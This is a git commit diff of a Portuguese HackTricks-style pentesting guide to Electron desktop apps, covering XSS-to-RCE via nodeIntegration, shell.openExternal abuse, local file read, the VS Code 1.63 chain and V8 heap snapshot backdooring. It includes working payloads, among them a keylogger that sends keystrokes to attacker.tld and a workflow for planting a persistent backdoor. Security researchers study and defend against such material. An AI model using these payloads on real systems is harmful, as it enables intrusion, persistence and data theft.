Translated ['src/network-services-pentesting/pentesting-web/electron-des

This commit is contained in:
Translator 2025-09-29 22:17:08 +00:00
parent e59aa36ec9
commit ddbaaf03c2

View File

@ -1,4 +1,4 @@
# Aplicações Desktop do Electron
# Aplicativos Electron para Desktop
{{#include ../../../banners/hacktricks-training.md}}
@ -6,12 +6,12 @@
Electron combina um backend local (com **NodeJS**) e um frontend (**Chromium**), embora careça de alguns dos mecanismos de segurança dos navegadores modernos.
Normalmente você pode encontrar o código do app Electron dentro de uma aplicação `.asar`; para obter o código, você precisa extraí-lo:
Normalmente você pode encontrar o código do aplicativo Electron dentro de um arquivo `.asar`; para obter o código, é preciso extraí-lo:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
No código-fonte de um aplicativo Electron, dentro de `packet.json`, você pode encontrar especificado o arquivo `main.js` onde as configurações de segurança são definidas.
No código-fonte de um app Electron, dentro de `packet.json`, você pode encontrar especificado o arquivo `main.js` onde as configurações de segurança são definidas.
```json
{
"name": "standard-notes",
@ -19,12 +19,12 @@ No código-fonte de um aplicativo Electron, dentro de `packet.json`, você pode
```
Electron tem 2 tipos de processo:
- Processo Principal (tem acesso completo ao NodeJS)
- Processo Renderer (deve ter o acesso ao NodeJS restrito por razões de segurança)
- Main Process (tem acesso completo ao NodeJS)
- Renderer Process (deve ter o acesso ao NodeJS restrito por razões de segurança)
![](<../../../images/image (182).png>)
Um **processo renderer** será uma janela do navegador carregando um arquivo:
Um **renderer process** será uma janela do navegador carregando um arquivo:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,15 +32,15 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
As configurações do **renderer process** podem ser **configuradas** no **main process** dentro do arquivo main.js. Algumas dessas configurações irão **impedir que a aplicação Electron obtenha RCE** ou outras vulnerabilidades se as **configurações estiverem corretamente definidas**.
As configurações do **processo renderer** podem ser **configuradas** no **processo main** dentro do arquivo main.js. Algumas das configurações podem **impedir que a aplicação Electron obtenha RCE** ou outras vulnerabilidades se as **configurações estiverem corretas**.
A aplicação Electron **poderia acessar o dispositivo** via Node apis, embora possa ser configurada para evitar isso:
A aplicação Electron **pode acessar o dispositivo** via Node APIs embora possa ser configurada para evitar isso:
- **`nodeIntegration`** - está `off` por padrão. Se `on`, permite acessar recursos do node a partir do renderer process.
- **`contextIsolation`** - está `on` por padrão. Se `off`, main e renderer processes não ficam isolados.
- **`nodeIntegration`** - está `off` por padrão. Se ativado, permite acessar recursos do Node a partir do processo renderer.
- **`contextIsolation`** - está `on` por padrão. Se desativado, os processos main e renderer não estão isolados.
- **`preload`** - vazio por padrão.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está `off` por padrão. Irá restringir as ações que NodeJS pode executar.
- Node Integration in Workers
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está off por padrão. Ele vai restringir as ações que o NodeJS pode executar.
- Node Integration em Workers
- **`nodeIntegrationInSubframes`** - está `off` por padrão.
- Se **`nodeIntegration`** estiver **ativado**, isso permitiria o uso das **Node.js APIs** em páginas web que são **carregadas em iframes** dentro de uma aplicação Electron.
- Se **`nodeIntegration`** estiver **desativado**, então os preloads serão carregados no iframe
@ -103,7 +103,7 @@ Modifique a configuração start-main e adicione o uso de um proxy como:
```
## Electron Local Code Injection
Se você puder executar localmente um Electron App, é possível que consiga fazê-lo executar código javascript arbitrário. Veja como em:
Se você pode executar localmente um Electron App, é possível fazê-lo executar código JavaScript arbitrário. Veja como em:
{{#ref}}
@ -112,7 +112,7 @@ Se você puder executar localmente um Electron App, é possível que consiga faz
## RCE: XSS + nodeIntegration
Se a **nodeIntegration** estiver definida como **on**, o JavaScript de uma página web pode usar recursos do Node.js facilmente apenas chamando `require()`. Por exemplo, a forma de executar o aplicativo calc no Windows é:
Se o **nodeIntegration** estiver definido como **on**, o JavaScript de uma página web pode usar recursos do Node.js facilmente apenas chamando `require()`. Por exemplo, a forma de executar o aplicativo calc no Windows é:
```html
<script>
require("child_process").exec("calc")
@ -149,20 +149,20 @@ runCalc()
</script>
</body>
```
> [!NOTE] > **Se `contextIsolation` estiver ativado, isso não funcionará**
> [!NOTE] > **Se `contextIsolation` estiver ativado, isto não funcionará**
## RCE: XSS + contextIsolation
O _**contextIsolation**_ introduz os **contextos separados entre os scripts da página web e o código interno JavaScript do Electron** de modo que a execução de JavaScript de cada um não interfira no outro. Esta é uma funcionalidade necessária para eliminar a possibilidade de RCE.
O _**contextIsolation**_ introduz os **contextos separados entre os scripts da página web e o código interno JavaScript do Electron**, de modo que a execução JavaScript de cada um não interfira no outro. Esta é uma funcionalidade necessária para eliminar a possibilidade de RCE.
Se os contextos não estiverem isolados um atacante pode:
Se os contextos não estiverem isolados, um atacante pode:
1. Executar **JavaScript arbitrário no renderer** (XSS ou navegação para sites externos)
2. **Sobrescrever o built-in method** que é usado em preload ou no código interno do Electron para assumir a função
3. **Disparar** o uso da **função sobrescrita**
2. **Sobrescrever o método built-in** que é usado em preload ou no código interno do Electron para tomar controle da função
3. **Acionar** o uso da **função sobrescrita**
4. RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
Existem 2 lugares onde métodos built-in podem ser sobrescritos: no preload code ou no código interno do Electron:
{{#ref}}
@ -179,37 +179,36 @@ electron-contextisolation-rce-via-electron-internal-code.md
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Contornar evento de clique
### Bypass do evento de clique
Se houver restrições aplicadas ao clicar em um link, você pode conseguir contorná-las **fazendo um clique do meio** em vez de um clique esquerdo regular
Se houver restrições aplicadas ao clicar em um link, você pode conseguir contorná-las **fazendo um clique do meio** em vez de um clique esquerdo normal
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
Para mais informações sobre estes exemplos consulte [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) e [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Para mais informações sobre estes exemplos veja [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) e [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Ao desplegar uma aplicação desktop Electron, garantir as configurações corretas de `nodeIntegration` e `contextIsolation` é crucial. Está estabelecido que **client-side remote code execution (RCE)** direcionado a preload scripts ou ao código nativo do Electron a partir do processo main é efetivamente prevenido com essas configurações em vigor.
Ao distribuir uma aplicação desktop Electron, garantir as configurações corretas de `nodeIntegration` e `contextIsolation` é crucial. Está estabelecido que **client-side remote code execution (RCE)** visando scripts de preload ou o código nativo do Electron a partir do processo principal é efetivamente prevenido com essas configurações habilitadas.
Quando um usuário interage com links ou abre novas janelas, ouvintes de evento específicos são acionados, os quais são cruciais para a segurança e a funcionalidade da aplicação:
Quando um usuário interage com links ou abre novas janelas, ouvintes de evento específicos são acionados, os quais são cruciais para a segurança e funcionalidade da aplicação:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Esses listeners são **substituídos pela aplicação desktop** para implementar sua própria **lógica de negócio**. A aplicação avalia se um link navegável deve ser aberto internamente ou em um navegador web externo. Essa decisão é tipicamente tomada por uma função, `openInternally`. Se essa função retornar `false`, isso indica que o link deve ser aberto externamente, utilizando a função `shell.openExternal`.
Esses listeners são **substituídos pela aplicação desktop** para implementar sua própria **lógica de negócio**. A aplicação avalia se um link navegado deve ser aberto internamente ou em um navegador web externo. Essa decisão é normalmente tomada por meio de uma função, `openInternally`. Se essa função retornar `false`, isso indica que o link deve ser aberto externamente, utilizando a função `shell.openExternal`.
**Here is a simplified pseudocode:**
**Aqui está um pseudocódigo simplificado:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Operating systems support different protocols that might trigger RCE. For detailed examples and further explanation on this topic, one can refer to [este recurso](https://positive.security/blog/url-open-rce#windows-10-19042), which includes Windows protocol examples capable of exploiting this vulnerability.
As melhores práticas de segurança do Electron JS aconselham a não aceitar conteúdo não confiável com a função `openExternal`, pois isso pode levar a RCE através de vários protocolos. Sistemas operacionais suportam diferentes protocolos que podem desencadear RCE. Para exemplos detalhados e explicações adicionais sobre este tema, consulte [este recurso](https://positive.security/blog/url-open-rce#windows-10-19042), que inclui exemplos de protocolos do Windows capazes de explorar essa vulnerabilidade.
No macos, a função `openExternal` pode ser explorada para executar comandos arbitrários, por exemplo em `shell.openExternal('file:///System/Applications/Calculator.app')`.
No macos, a função `openExternal` pode ser explorada para executar comandos arbitrários, como em `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Exemplos de exploits de protocolos do Windows incluem:**
**Exemplos de explorações de protocolo no Windows incluem:**
```html
<script>
window.open(
@ -233,7 +232,7 @@ window.open(
Esta vuln pode ser encontrada em **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
O **webviewTag** é um **recurso obsoleto** que permite o uso de **NodeJS** no **renderer process**, o qual deve ser desativado pois permite carregar um script dentro do preload context como:
O **webviewTag** é um **deprecated feature** que permite o uso de **NodeJS** no **renderer process**, que deveria ser desabilitado, pois permite carregar um script dentro do contexto preload como:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
@ -250,13 +249,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
}, 5000);
})();
```
## Lendo Arquivos Internos: XSS + contextIsolation
## Leitura de Arquivos Internos: XSS + contextIsolation
**Desabilitar `contextIsolation` permite o uso de tags `<webview>`**, semelhantes a `<iframe>`, para reading and exfiltrating local files. Um exemplo fornecido demonstra como exploit essa vulnerabilidade para ler o conteúdo de arquivos internos:
**Desativar `contextIsolation` habilita o uso de tags `<webview>`**, semelhante ao `<iframe>`, para ler e exfiltrating arquivos locais. Um exemplo fornecido demonstra como explorar essa vulnerabilidade para ler o conteúdo de arquivos internos:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Além disso, outro método para **ler um arquivo interno** é apresentado, destacando uma vulnerabilidade crítica de leitura de arquivos locais em um Electron desktop app. Isso envolve injetar um script para exploit a aplicação e exfiltrate dados:
Além disso, outro método para **ler um arquivo interno** é apresentado, destacando uma vulnerabilidade crítica de leitura de arquivos locais em um aplicativo desktop Electron. Isso envolve injetar um script para explorar o aplicativo e exfiltrate data:
```html
<br /><br /><br /><br />
<h1>
@ -272,45 +271,45 @@ frames[0].document.body.innerText
</script>
</h1>
```
## **RCE: XSS + Old Chromium**
## **RCE: XSS + Chromium antigo**
Se o **chromium** usado pela aplicação for **antigo** e houver **vulnerabilidades conhecidas** nele, pode ser possível explorá-lo e obter **RCE** através de um **XSS**.\
Se o **chromium** usado pela aplicação for **antigo** e houver **vulnerabilidades** **conhecidas** nele, pode ser possível **explorá-lo e obter RCE através de um XSS**.\
Você pode ver um exemplo neste **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass**
## **XSS Phishing via bypass de regex de URL interna**
Supondo que você encontrou um **XSS** mas **não consegue disparar RCE ou roubar arquivos internos**, você pode tentar usá-lo para **roubar credenciais via phishing**.
Supondo que você encontrou um XSS mas você **não consegue acionar RCE ou roubar arquivos internos** você poderia tentar usá-lo para **roubar credenciais via phishing**.
Antes de tudo, você precisa saber o que acontece quando tenta abrir uma nova URL, verificando o código **JS** no front-end:
Primeiro de tudo você precisa saber o que acontece quando você tenta abrir uma nova URL, verificando o código JS no front-end:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
A chamada para **`openInternally`** vai decidir se o **link** será **opened** na **desktop window** por ser um link pertencente à plataforma, **or** se será aberto no **browser as a 3rd party resource**.
A chamada para **`openInternally`** vai decidir se o **link** será **aberto** na **janela desktop** por ser um link pertencente à plataforma, **ou** se será aberto no **navegador como um recurso de terceiros**.
No caso de a **regex** usada pela função ser **vulnerable to bypasses** (por exemplo **not escaping the dots of subdomains**), um atacante poderia abusar do XSS para **open a new window which** ficará na infraestrutura do atacante **asking for credentials** ao usuário:
No caso de o **regex** usado pela função ser **vulnerável a bypasses** (por exemplo por **não escapar os pontos dos subdomínios**) um atacante poderia abusar do XSS para **abrir uma nova janela que** ficará localizada na infraestrutura do atacante **solicitando credenciais** ao usuário:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## Protocolo `file://`
## `file://` Protocolo
Como mencionado em [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), páginas executadas em **`file://`** têm acesso unilateral a todos os arquivos na sua máquina, o que significa que **problemas de XSS podem ser usados para carregar arquivos arbitrários** do computador do usuário. Usar um **protocolo customizado** previne problemas como esse, pois você pode limitar o protocolo a servir apenas um conjunto específico de arquivos.
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) páginas que rodam em **`file://`** têm acesso unilateral a todos os arquivos na sua máquina, o que significa que **problemas de XSS podem ser usados para carregar arquivos arbitrários** do computador do usuário. Usar um **protocolo customizado** previne problemas como esse, pois você pode limitar o protocolo a servir apenas um conjunto específico de arquivos.
## Remote module
O Electron Remote module permite que os **renderer processes acessem as main process APIs**, facilitando a comunicação dentro de uma aplicação Electron. Contudo, habilitar este módulo introduz riscos significativos de segurança. Ele amplia a superfície de ataque da aplicação, tornando-a mais suscetível a vulnerabilidades como cross-site scripting (XSS) attacks.
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
> [!TIP]
> Embora o módulo **remote** exponha algumas APIs do main para os renderer processes, não é trivial obter RCE apenas abusando dos componentes. No entanto, os componentes podem expor informações sensíveis.
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
> [!WARNING]
> Muitas apps que ainda usam o remote module o fazem de maneira que **require NodeIntegration to be enabled** no renderer process, o que é um **grande risco de segurança**.
> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**.
Desde o Electron 14 o módulo `remote` do Electron pode ser habilitado de várias maneiras; por razões de segurança e performance é **recomendado não usá-lo**.
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
Para habilitá-lo, primeiro é necessário **habilitá-lo no main process**:
To enable it, it'd first needed to **enable it in the main process**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
@ -325,22 +324,22 @@ Então, o processo renderer pode importar objetos do módulo assim:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica algumas **funções** interessantes expostas pelo objeto **`app`** do módulo remote:
O **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica algumas **funções** interessantes expostas pelo objeto **`app`** do módulo remoto:
- **`app.relaunch([options])`**
- **Reinicia** a aplicação saindo da instância atual e **lançando** uma nova. Útil para **app updates** ou **mudanças significativas de estado**.
- **Reinicia** a aplicação ao **encerrar** a instância atual e **iniciar** uma nova. Útil para **atualizações do aplicativo** ou **mudanças significativas de estado**.
- **`app.setAppLogsPath([path])`**
- **Define** ou **cria** um diretório para armazenar os **app logs**. Os logs podem ser **recuperados** ou **modificados** usando **`app.getPath()`** ou **`app.setPath(pathName, newPath)`**.
- **Define** ou **cria** um diretório para armazenar **logs do aplicativo**. Os logs podem ser **recuperados** ou **modificados** usando **`app.getPath()`** ou **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Registra** o executável atual como o **manipulador padrão** para um **protocolo** especificado. Você pode fornecer um **caminho customizado** e **argumentos** se necessário.
- **Registra** o executável atual como o **manipulador padrão** para um **protocolo** especificado. Você pode fornecer um **caminho personalizado** e **argumentos** se necessário.
- **`app.setUserTasks(tasks)`**
- **Adiciona** tarefas à categoria **Tasks** no **Jump List** (no Windows). Cada tarefa pode controlar como o app é **lançado** ou quais **argumentos** são passados.
- **Adiciona** tarefas à **categoria Tasks** na **Jump List** (no Windows). Cada tarefa pode controlar como o aplicativo é **iniciado** ou quais **argumentos** são passados.
- **`app.importCertificate(options, callback)`**
- **Importa** um **certificado PKCS#12** para o armazenamento de certificados do sistema (apenas Linux). Um **callback** pode ser usado para tratar o resultado.
- **Importa** um **certificado PKCS#12** para o **repositório de certificados** do sistema (apenas Linux). Um **callback** pode ser usado para tratar o resultado.
- **`app.moveToApplicationsFolder([options])`**
- **Move** a aplicação para a **Applications folder** (no macOS). Ajuda a garantir uma **instalação padrão** para usuários Mac.
- **Move** o aplicativo para a **Applications folder** (no macOS). Ajuda a garantir uma **instalação padrão** para usuários Mac.
- **`app.setJumpList(categories)`**
- **Define** ou **remove** um **Jump List** customizado no **Windows**. Você pode especificar **categories** para organizar como as tarefas aparecem para o usuário.
- **Define** ou **remove** uma **Jump List customizada** no **Windows**. Você pode especificar **categorias** para organizar como as tarefas aparecem ao usuário.
- **`app.setLoginItemSettings(settings)`**
- **Configura** quais **executáveis** são iniciados no **login** juntamente com suas **opções** (apenas macOS e Windows).
@ -349,9 +348,9 @@ Example:
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## Módulo systemPreferences
## systemPreferences módulo
A **API principal** para acessar preferências do sistema e **emitir eventos do sistema** no Electron. Métodos como **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, e **setUserDefault** são todos **parte deste módulo**.
A **API principal** para acessar as preferências do sistema e **emitir eventos do sistema** no Electron. Métodos como **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, e **setUserDefault** são todos **parte deste** módulo.
**Exemplo de uso:**
```javascript
@ -368,31 +367,31 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Escuta** **notificações nativas do macOS** usando NSDistributedNotificationCenter.
* Antes do **macOS Catalina**, você podia sniffar **todas** as notificações distribuídas passando **nil** para CFNotificationCenterAddObserver.
* Após **Catalina / Big Sur**, aplicativos sandboxed ainda podem **subscribe** a **muitos eventos** (por exemplo, **bloqueios/desbloqueios de tela**, **montagem de volumes**, **atividade de rede**, etc.) registrando notificações **pelo nome**.
* **Escuta** notificações nativas do **macOS** usando NSDistributedNotificationCenter.
* Antes do **macOS Catalina**, era possível capturar **todas** as notificações distribuídas passando **nil** para CFNotificationCenterAddObserver.
* Após **Catalina / Big Sur**, aplicativos em sandbox ainda podem **subscribir-se** a **muitos eventos** (por exemplo, **bloqueios/desbloqueios de tela**, **montagens de volume**, **atividade de rede**, etc.) registrando notificações **pelo nome**.
### **getUserDefault / setUserDefault**
* **Interage** com **NSUserDefaults**, que armazena preferências **de aplicação** ou **globais** no macOS.
* **Interage** com **NSUserDefaults**, que armazena preferências **de aplicativo** ou **globais** no macOS.
* **getUserDefault** pode **recuperar** informações sensíveis, como **locais de arquivos recentes** ou **a localização geográfica do usuário**.
* **getUserDefault** pode **recuperar** informações sensíveis, como **locais de arquivos recentes** ou **localização geográfica do usuário**.
* **setUserDefault** pode **modificar** essas preferências, afetando potencialmente a **configuração** de um app.
* **setUserDefault** pode **modificar** essas preferências, potencialmente afetando a **configuração** de um app.
* Em **versões antigas do Electron** (antes da v8.3.0), somente a **standard suite** de NSUserDefaults era **acessível**.
* Em **versões antigas do Electron** (antes da v8.3.0), apenas o **conjunto padrão** de NSUserDefaults era **acessível**.
## Shell.showItemInFolder
This function shows the given file in a file manager, which **could automatically execute the file**.
Esta função mostra o arquivo dado em um gerenciador de arquivos, que **poderia executar automaticamente o arquivo**.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Apps Electron devem ter uma **Content Security Policy (CSP)** para **prevenir ataques XSS**. A **CSP** é um **padrão de segurança** que ajuda a **prevenir** a **execução** de **código não confiável** no browser.
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
Normalmente é **configurada** no arquivo **`main.js`** ou no template **`index.html`** com a CSP dentro de uma **meta tag**.
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
For more information check:
@ -402,18 +401,41 @@ pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
## **Tools**
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
- [**Electronegativity**](https://github.com/doyensec/electronegativity) é uma ferramenta para identificar misconfigurações e anti-padrões de segurança em aplicações baseadas em Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) é um plugin open source para VS Code para aplicações Electron que usa Electronegativity.
This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Attack chain overview
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webviews extensionId.
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
Example RCE primitive in the final context
```js
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
```
Leitura relacionada sobre problemas de confiança do postMessage:
{{#ref}}
../../../pentesting-web/postmessage-vulnerabilities/README.md
{{#endref}}
## **Ferramentas**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) é uma ferramenta para identificar configurações incorretas e antipadrões de segurança em aplicações baseadas em Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) é um plugin de código aberto para o VS Code para aplicações Electron que usa Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) para verificar bibliotecas de terceiros vulneráveis
- [**Electro.ng**](https://electro.ng/): É pago
## Labs
## Laboratórios
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) você pode encontrar um lab para explorar aplicações Electron vulneráveis.
Em [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) você pode encontrar um laboratório para explorar aplicações Electron vulneráveis.
Alguns comandos que vão te ajudar no lab:
Alguns comandos que vão ajudar no laboratório:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
@ -438,16 +460,16 @@ npm start
```
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305
Electron e apps baseados em Chromium desserializam um V8 heap snapshot pré-compilado na inicialização (v8_context_snapshot.bin, e opcionalmente browser_v8_context_snapshot.bin) para inicializar cada V8 isolate (main, preload, renderer). Historicamente, os integrity fuses do Electron não tratavam esses snapshots como conteúdo executável, de modo que eles escapavam tanto da fuse-based integrity enforcement quanto das verificações de code-signing do sistema operacional. Como resultado, substituir o snapshot em uma instalação gravável pelo usuário permitia execução de código persistente e furtiva dentro do app sem modificar os binários assinados ou o ASAR.
Aplicativos baseados em Electron e Chromium desserializam um V8 heap snapshot prebuilt na inicialização (v8_context_snapshot.bin, e opcionalmente browser_v8_context_snapshot.bin) para inicializar cada V8 isolate (main, preload, renderer). Historicamente, os integrity fuses do Electron não tratavam esses snapshots como conteúdo executável, então eles escapavam tanto da aplicação de integridade baseada em fuses quanto das verificações de OS code-signing. Como resultado, substituir o snapshot em uma instalação gravável pelo usuário permitia execução stealthy e persistente de código dentro do app sem modificar os binários assinados ou o ASAR.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validam o app JavaScript dentro do ASAR, mas não cobriam os V8 heap snapshots (CVE-2025-55305). O Chromium igualmente não verifica a integridade dos snapshots.
- Attack preconditions: gravação local de arquivos no diretório de instalação do app. Isso é comum em sistemas onde apps Electron ou browsers Chromium são instalados em caminhos graváveis pelo usuário (por exemplo, %AppData%\Local no Windows; /Applications com ressalvas no macOS).
- Effect: execução confiável de attacker JavaScript em qualquer isolate ao sobrescrever um builtin usado com frequência (um “gadget”), permitindo persistência e evasão da verificação de code-signing.
- Affected surface: apps Electron (mesmo com fuses habilitados) e browsers baseados em Chromium que carregam snapshots de locais graváveis pelo usuário.
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validam o JavaScript do app dentro do ASAR, mas não cobriam V8 heap snapshots (CVE-2025-55305). O Chromium de forma semelhante não faz integrity-check dos snapshots.
- Attack preconditions: Escrita local de arquivo no diretório de instalação do app. Isso é comum em sistemas onde Electron apps ou Chromium browsers são instalados em caminhos graváveis pelo usuário (e.g., %AppData%\Local no Windows; /Applications com ressalvas no macOS).
- Effect: Execução confiável de attacker JavaScript em qualquer isolate ao sobrescrever um builtin frequentemente usado (um “gadget”), habilitando persistence e evasão da verificação de code-signing.
- Affected surface: Electron apps (mesmo com fuses habilitados) e Chromium-based browsers que carregam snapshots de locais graváveis pelo usuário.
Generating a malicious snapshot without building Chromium
- Use o prebuilt electron/mksnapshot para compilar um payload JS em um snapshot e sobrescrever o v8_context_snapshot.bin da aplicação.
- Use the prebuilt electron/mksnapshot para compilar um payload JS em um snapshot e sobrescrever o v8_context_snapshot.bin da aplicação.
Example minimal payload (prove execution by forcing a crash)
```js
@ -463,11 +485,11 @@ Array.isArray = function () {
throw new Error("testing isArray gadget");
};
```
Roteamento de payloads sensível ao isolate (executar código diferente no main vs. renderer)
- Detecção do processo main: Node-only globals como process.pid, process.binding(), ou process.dlopen estão presentes no isolate do processo main.
- Detecção Browser/renderer: Browser-only globals como alert estão disponíveis ao executar em um contexto de documento.
Roteamento de payload ciente do isolate (executar código diferente no main vs. renderer)
- Detecção do main process: Node-only globals como process.pid, process.binding(), ou process.dlopen estão presentes no main process isolate.
- Detecção Browser/renderer: Browser-only globals como alert estão disponíveis quando executando em um contexto de documento.
Exemplo de gadget que testa as capacidades Node do processo main uma vez
Exemplo de gadget que sonda as capacidades Node do main process uma vez
```js
const orig = Array.isArray;
@ -496,7 +518,7 @@ process.exit(0);
return orig(...arguments);
};
```
PoC de roubo de dados do Renderer/browser-context (por exemplo, Slack)
PoC de roubo de dados no renderer/contexto do navegador (por exemplo, Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
@ -520,27 +542,31 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
return orig(...arguments);
};
```
Operator workflow
1) Escreva payload.js que sobrescreva um builtin comum (por exemplo, Array.isArray) e, opcionalmente, faça ramificações por isolate.
2) Construa o snapshot sem as fontes do Chromium:
Fluxo de trabalho do operador
1) Escreva payload.js que sobrescreve um builtin comum (por exemplo, Array.isArray) e, opcionalmente, ramifica por isolate.
2) Build the snapshot without Chromium sources:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Substitua o(s) arquivo(s) snapshot da aplicação alvo:
3) Overwrite the target applications snapshot file(s):
- v8_context_snapshot.bin (always used)
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
4) Inicie o aplicativo; o gadget é executado sempre que o builtin escolhido for usado.
4) Launch the application; the gadget executes whenever the chosen builtin is used.
Notes and considerations
Notas e considerações
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electrons fuses or Chromium integrity controls.
- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
Detection and mitigations
Detecção e mitigação
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
## **Referências**
## **References**
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
- [VS Code RCE PoC (CVE-2021-43908) electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
